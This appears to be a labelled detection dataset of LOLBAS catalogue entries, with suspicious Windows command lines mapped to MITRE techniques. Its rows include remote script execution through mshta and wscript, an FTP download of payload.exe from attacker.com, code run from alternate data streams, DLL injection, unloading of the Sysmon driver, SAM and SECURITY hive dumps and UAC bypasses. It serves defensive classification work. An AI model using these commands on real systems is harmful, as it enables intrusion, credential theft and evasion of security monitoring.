242725a36453a098cdb9c1d9,reset.exe session,reset.exe session,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Reset.yml,Reset.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}, {""Requires"": ""Rename""}]","Windows 10, Windows 11",0.85,False,"Once executed, `reset.exe` will execute `rwinsta.exe` in the same folder. Thus, if `reset.exe` is copied to a folder and an arbitrary executable is renamed to `rwinsta.exe`, `reset.exe` will spawn it.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
386d7417490c5cb532013526,pnputil.exe -i -a {PATH_ABSOLUTE:.inf},pnputil.exe -i -a {PATH_ABSOLUTE:.inf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pnputil.yml,Pnputil.exe,Execute,"[""T1547"", {""Execute"": ""INF""}]","Windows 7, Windows 10, Windows 11",0.85,False,Used for installing drivers,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0c957c5629f05430c1021a5a,regini.exe {PATH}:hidden.ini,regini.exe {PATH}:hidden.ini,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regini.yml,Regini.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Write registry keys from data inside the Alternate data stream.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
238697998ad30f84f0c5875a,winget.exe install --manifest {PATH:.yml},winget.exe install --manifest {PATH:.yml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Winget.yml,winget.exe,Execute,"[""T1105"", {""Execute"": ""Remote""}, {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: `winget settings --enable LocalManifestFiles`,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ab779343caf3b9aac4757984,winget.exe install --accept-package-agreements -s msstore {name or ID},winget.exe install --accept-package-agreements -s msstore {name or ID},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Winget.yml,winget.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,"Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use ""Sysinternals Suite"" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c1a2ccb7176ef4a844539ecd,mshta.exe {PATH:.hta},mshta.exe {PATH:.hta},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mshta.yml,Mshta.exe,Execute,"[""T1218.005"", {""Execute"": ""HTA""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a14ac93d02390caaec4c8008,"mshta.exe vbscript:Close(Execute(""GetObject(""""script:{REMOTEURL:.sct}"""")""))","mshta.exe vbscript:Close(Execute(""GetObject(""""script:{REMOTEURL:.sct}"""")""))",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mshta.yml,Mshta.exe,Execute,"[""T1218.005"", {""Execute"": ""VBScript""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes VBScript supplied as a command line argument.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
594e52fbf42e2497a848c1e4,"mshta.exe javascript:a=GetObject(""script:{REMOTEURL:.sct}"").Exec();close();","mshta.exe javascript:a=GetObject(""script:{REMOTEURL:.sct}"").Exec();close();",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mshta.yml,Mshta.exe,Execute,"[""T1218.005"", {""Execute"": ""JScript""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes JavaScript supplied as a command line argument.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
398f7044e977fe74f41fb498,"mshta.exe ""{PATH_ABSOLUTE}:file.hta""","mshta.exe ""{PATH_ABSOLUTE}:file.hta""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mshta.yml,Mshta.exe,ADS,"[""T1218.005"", {""Execute"": ""HTA""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)",0.85,False,"Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dbbe846567769af4a4a0e99b,mshta.exe {REMOTEURL},mshta.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mshta.yml,Mshta.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,It will download a remote payload and place it in INetCache.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b90722cb5df0140a56a64b3,PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip},PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/PrintBrm.yml,PrintBrm.exe,Download,"[""T1105"", {""Type"": ""Compression""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Create a ZIP file from a folder in a remote drive,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eaf5cf5d950516ccdf4b24db,PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder},PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/PrintBrm.yml,PrintBrm.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d53bd429ce16b681fe12ff6e,Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log},Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Microsoft.Workflow.Compiler.yml,Microsoft.Workflow.Compiler.exe,Execute,"[""T1127"", {""Execute"": ""VB.Net""}, {""Execute"": ""Csharp""}]","Windows 10S, Windows 11",0.85,False,Compile and execute C# or VB.net code in a XOML file referenced in the first argument (any extension accepted).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed24cf3be30584c19aa69493,Gpscript /logon,Gpscript /logon,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Gpscript.yml,Gpscript.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes logon scripts configured in Group Policy.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82a3c973619570525d559531,Gpscript /startup,Gpscript /startup,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Gpscript.yml,Gpscript.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes startup scripts configured in Group Policy,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0c98f518e63ff57593f3169,jsc.exe {PATH:.js},jsc.exe {PATH:.js},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Jsc.yml,Jsc.exe,Compile,"[""T1127"", {""Execute"": ""JScript""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Use jsc.exe to compile JavaScript code stored in the provided .JS file and generate a .EXE file with the same name.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a98787bf20c8a013e327f233,jsc.exe /t:library {PATH:.js},jsc.exe /t:library {PATH:.js},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Jsc.yml,Jsc.exe,Compile,"[""T1127"", {""Execute"": ""JScript""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Use jsc.exe to compile JavaScript code stored in the .JS file and generate a DLL file with the same name.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3732a640068876be8532ce0c,"sc create evilservice binPath=""\""c:\\ADS\\file.txt:cmd.exe\"" /c echo works > \""c:\ADS\works.txt\"""" DisplayName= ""evilservice"" start= auto\ & sc start evilservice","sc create evilservice binPath=""\""c:\\ADS\\file.txt:cmd.exe\"" /c echo works > \""c:\ADS\works.txt\"""" DisplayName= ""evilservice"" start= auto\ & sc start evilservice",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Sc.yml,Sc.exe,ADS,"[""T1564.004"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Creates a new service and executes the file stored in the ADS.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33e1b95beba520bf6d9f9678,"sc config {ExistingServiceName} binPath=""\""c:\\ADS\\file.txt:cmd.exe\"" /c echo works > \""c:\ADS\works.txt\"""" & sc start {ExistingServiceName}","sc config {ExistingServiceName} binPath=""\""c:\\ADS\\file.txt:cmd.exe\"" /c echo works > \""c:\ADS\works.txt\"""" & sc start {ExistingServiceName}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Sc.yml,Sc.exe,ADS,"[""T1564.004"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Modifies an existing service and executes the file stored in the ADS.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3efbfe0ebcc45e1e1b9c1cf6,MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll},MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mavinject.yml,Mavinject.exe,Execute,"[""T1218.013"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Inject evil.dll into a process with PID 3110.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e7e10eab56565096bd07e37,Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll,Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mavinject.yml,Mavinject.exe,ADS,"[""T1564.004"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
629b3468529084cc0230af75,msedge.exe {REMOTEURL:.exe.txt},msedge.exe {REMOTEURL:.exe.txt},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msedge.yml,Msedge.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,"Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c59b60684e4871caf7a218f5,"msedge.exe --headless --enable-logging --disable-gpu --dump-dom ""{REMOTEURL:.base64.html}"" > {PATH:.b64}","msedge.exe --headless --enable-logging --disable-gpu --dump-dom ""{REMOTEURL:.base64.html}"" > {PATH:.b64}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msedge.yml,Msedge.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,Edge will silently download the file. File extension should be .html and binaries should be encoded.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c49bc858fa7407c65c6432a8,"msedge.exe --disable-gpu-sandbox --gpu-launcher=""{CMD} &&""","msedge.exe --disable-gpu-sandbox --gpu-launcher=""{CMD} &&""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msedge.yml,Msedge.exe,Execute,"[""T1218.015"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0cdd5ae0156f758e46cd2e3,echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt,echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ftp.yml,Ftp.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes the commands you put inside the text file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cbf2a030741bd2a48c12960f,"cmd.exe /c ""@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v""","cmd.exe /c ""@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ftp.yml,Ftp.exe,Download,"[""T1105""]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Download,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c484917eaf714762e0b678b,makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab,makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Makecab.yml,Makecab.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6f4daa3c977da5ccce84fd29,makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cab,makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cab,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Makecab.yml,Makecab.exe,ADS,"[""T1564.004"", {""Type"": ""Compression""}]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
315823f7672f989560b219b1,makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab},makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Makecab.yml,Makecab.exe,Download,"[""T1105"", {""Type"": ""Compression""}]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Download and compresses the target file and stores it in the target file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33c15981bd0f910e3bc6f060,makecab /F {PATH:.ddf},makecab /F {PATH:.ddf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Makecab.yml,Makecab.exe,Execute,"[""T1036"", {""Type"": ""Compression""}]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b6f0ea6240688f3b55a6076e,wscript //e:vbscript {PATH}:script.vbs,wscript //e:vbscript {PATH}:script.vbs,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wscript.yml,Wscript.exe,ADS,"[""T1564.004"", {""Execute"": ""WSH""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute script stored in an alternate data stream,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff5d60edab1cf7034a14e548,"echo GetObject(""script:{REMOTEURL:.js}"") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js","echo GetObject(""script:{REMOTEURL:.js}"") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wscript.yml,Wscript.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Download and execute script stored in an alternate data stream,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ed712237e5242ee121fa8fc,"forfiles /p c:\windows\system32 /m notepad.exe /c ""{CMD}""","forfiles /p c:\windows\system32 /m notepad.exe /c ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Forfiles.yml,Forfiles.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes specified command since there is a match for notepad.exe in the c:\windows\System32 folder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35e27c5d8f72d629baf86809,"forfiles /p c:\windows\system32 /m notepad.exe /c ""{PATH_ABSOLUTE}:evil.exe""","forfiles /p c:\windows\system32 /m notepad.exe /c ""{PATH_ABSOLUTE}:evil.exe""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Forfiles.yml,Forfiles.exe,ADS,"[""T1564.004"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\windows\system32 folder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e565ea300ac30e78e3f0e6b5,runexehelper.exe {PATH_ABSOLUTE:.exe},runexehelper.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Runexehelper.yml,Runexehelper.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022",0.85,False,"Launches the specified exe. Prerequisites: (1) diagtrack_action_output environment variable must be set to an existing, writable folder; (2) runexewithargs_output.txt file cannot exist in the folder indicated by the variable.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e82cbd86300899d26327e01,ie4uinit.exe -BaseSettings,ie4uinit.exe -BaseSettings,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ie4uinit.yml,Ie4uinit.exe,Execute,"[""T1218"", {""Execute"": ""INF""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes commands from a specially prepared ie4uinit.inf file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8ebb4b44dd774f64e075bbc,Msconfig.exe -5,Msconfig.exe -5,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msconfig.yml,Msconfig.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Executes command embeded in crafted c:\windows\system32\mscfgtlc.xml.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6754e04165cd2d4464538f9e,fltMC.exe unload SysmonDrv,fltMC.exe unload SysmonDrv,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/FltMC.yml,fltMC.exe,Tamper,"[""T1562.001""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Unloads a driver used by security agents,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6712234311b0d099b90cc739,c:\windows\syswow64\iscsicpl.exe,c:\windows\syswow64\iscsicpl.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Iscsicpl.yml,iscsicpl.exe,UAC Bypass,"[""T1548.002"", {""Execute"": ""DLL""}]","Windows 10, Windows 11",0.85,False,"c:\windows\syswow64\iscsicpl.exe has a DLL injection through `C:\Users\<username>\AppData\Local\Microsoft\WindowsApps\ISCSIEXE.dll`, resulting in UAC bypass.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
057b38761c4dc0850de874b6,iscsicpl.exe,iscsicpl.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Iscsicpl.yml,iscsicpl.exe,UAC Bypass,"[""T1548.002"", {""Execute"": ""CMD""}, {""Application"": ""GUI""}]","Windows 10, Windows 11",0.85,False,"Both `c:\windows\system32\iscsicpl.exe` and `c:\windows\system64\iscsicpl.exe` have UAC bypass through launching iscicpl.exe, then navigating into the Configuration tab, clicking Report, then launching your custom command.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e86deaf1de2ebe23e84382b2,"msedgewebview2.exe --no-sandbox --browser-subprocess-path=""{PATH_ABSOLUTE:.exe}""","msedgewebview2.exe --no-sandbox --browser-subprocess-path=""{PATH_ABSOLUTE:.exe}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/msedgewebview2.yml,msedgewebview2.exe,Execute,"[""T1218.015"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified executable as its subprocess.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3cdbbde89ce2d80f157ae98,"msedgewebview2.exe --utility-cmd-prefix=""{CMD}""","msedgewebview2.exe --utility-cmd-prefix=""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/msedgewebview2.yml,msedgewebview2.exe,Execute,"[""T1218.015"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
abfa45da1b63043f67ab7a5a,"msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher=""{CMD}""","msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher=""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/msedgewebview2.yml,msedgewebview2.exe,Execute,"[""T1218.015"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49528a5d6ac9aa29d728bf7f,"msedgewebview2.exe --no-sandbox --renderer-cmd-prefix=""{CMD}""","msedgewebview2.exe --no-sandbox --renderer-cmd-prefix=""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/msedgewebview2.yml,msedgewebview2.exe,Execute,"[""T1218.015"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7a7283fda6908db775a9293,InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll},InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Installutil.yml,Installutil.exe,AWL Bypass,"[""T1218.004"", {""Execute"": ""DLL (.NET)""}, {""Execute"": ""EXE (.NET)""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute the target .NET DLL or EXE.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e91fab345cfef9a91f50b6ba,InstallUtil.exe {REMOTEURL},InstallUtil.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Installutil.yml,Installutil.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,It will download a remote payload and place it in INetCache.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e339da0f4db6a566947fcc14,query.exe user,query.exe user,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Query.yml,Query.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}, {""Requires"": ""Rename""}]","Windows 10, Windows 11",0.85,False,"Once executed, `query.exe` will execute `quser.exe` in the same folder. Thus, if `query.exe` is copied to a folder and an arbitrary executable is renamed to `quser.exe`, `query.exe` will spawn it. Instead of `user`, it is also possible to use `session`, `termsession` or `process` as command-line option.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
65de8ededa471ab484e6242d,reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg,reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Reg.yml,Reg.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Export the target Registry key and save it to the specified .REG file within an Alternate data stream.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ce7003cbb6b81fe9683d760,reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak},reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Reg.yml,Reg.exe,Credentials,"[""T1003.002""]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ead108f896b7ac91d63ffd4,verclsid.exe /S /C {CLSID},verclsid.exe /S /C {CLSID},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Verclsid.yml,Verclsid.exe,Execute,"[""T1218.012"", {""Execute"": ""COM""}]","Windows 10, Windows 11",0.85,False,Used to verify a COM object before it is instantiated by Windows Explorer,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33e45f48f63280f75ab1e65e,"rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}","rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Dfsvc.yml,Dfsvc.exe,AWL Bypass,"[""T1127.002"", {""Execute"": ""ClickOnce""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
